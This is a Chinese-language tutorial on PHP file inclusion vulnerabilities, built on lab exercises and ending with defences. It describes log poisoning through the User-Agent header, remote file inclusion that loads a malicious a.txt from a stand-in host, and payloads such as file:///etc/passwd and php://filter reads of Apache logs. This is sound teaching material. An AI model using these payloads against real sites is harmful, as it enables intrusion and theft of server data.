文章目录
一、文件包含漏洞原理
本质上是网站的代码中有一个include函数,可以执行文件;黑客能通过参数等方式使用该函数执行指定的文件,这些文件中会有一些恶意的命令;所以叫文件包含漏洞。
php语言的include函数:执行目标文件中的内容;若文件中没有代码,直接输出原内容。
二、案例一:了解文件包含漏洞
靶场的代码文件:

黑客就是要执行这个include函数,所以请求参数中携带文件即可;这个文件是php代码可以访问到的,所以是服务器上的文件。

通过文件包含漏洞可以查看服务器敏感信息。
三、案例二:结合文件上传漏洞
php代码的include函数会执行文件中的php代码,如果网站有文件上传漏洞可以上传含有恶意代码的文件,再通过文件包含漏洞执行该文件。
3.1编辑恶意文件

include函数只是读取文件内容,有php代码就解析执行;所以可以通过图片携带恶意代码。一些网站可以上传那头像,那种地方可能有上传文件漏洞。
通过编辑文本方式编辑图片,插入php代码;该代码可以获取php服务端的各种信息。
3.2利用文件包含漏洞
需要使用绝对路径才能访问到。

四、案例三:结合日志文件进行文件包含漏洞
4.1原理
web服务会用日志记录在服务器上,将恶意代码传递到日志中,再通过文件包含漏洞访问到这些恶意代码。
这些日志是web服务的日志,与用户端的一些信息有关,可以通过抓包方式修改;
常见的web服务有Apache http和NGINX,它们的日志路径一般是固定的,可以推断出来;
4.2抓包修改请求体

抓到包后,在请求体的User-Agent中添加恶意代码,这些代码会记录在服务端的web服务日志中。放行请求。
4.3查找目标web服务中间件
通过浏览器插件就可以找到网站使用的什么web服务中间件。

雪瞳的指纹嗅探了解到该网站的web服务是Apache http;
Apache的日志目录一般是/var/log/httpd/access_log;
看一下靶场的日志,确实存在该代码。

4.4使用文件包含漏洞

4.5日志路径被修改了怎么办?
我们还可以通过apache的配置文件 去查看日志存放地址
apache的默认配置文件路径:/etc/httpd/conf/httpd.conf
搜索ServerRoot 找到关键信息ServerRoot "/etc/httpd"
搜索CustomLog 找到关键信息CustomLog "logs/access_log"
/etc/httpd/logs/access_log
五、远程文件包含漏洞
本质上也文件包含漏洞相同,也是传递文件给后端代码, 但是这个远程文件包含漏洞可以传递网络上的文件如http://......
危害更高,黑客不需要上传任何文件 只需要在自己的服务器 搭建一个恶意代码就可以
例如:http://localhost/vul/hacker/file_include/index.php?lang=http://127.0.0.1/a.txt

a.txt文件中含有恶意代码。

伪协议 比如我们正常去访问一些文件
但是php中里面自带了一些函数去读取
比如file:///etc/passwd
以及这个:php://filter/read/convert.base64-encode/resource=/etc/httpd/logs/access_log
解码网站:https://www.toolhelper.cn/EncodeDecode/Base64
六、防御方法
1、代码审计 查看用了include函数的地方 有没有什么风险
2、安全审计 查看一些危险配置 能不开的就不开
3、使用白名单 在包含之前要 看这个文件在不在白名单里面 如果不在就直接拦截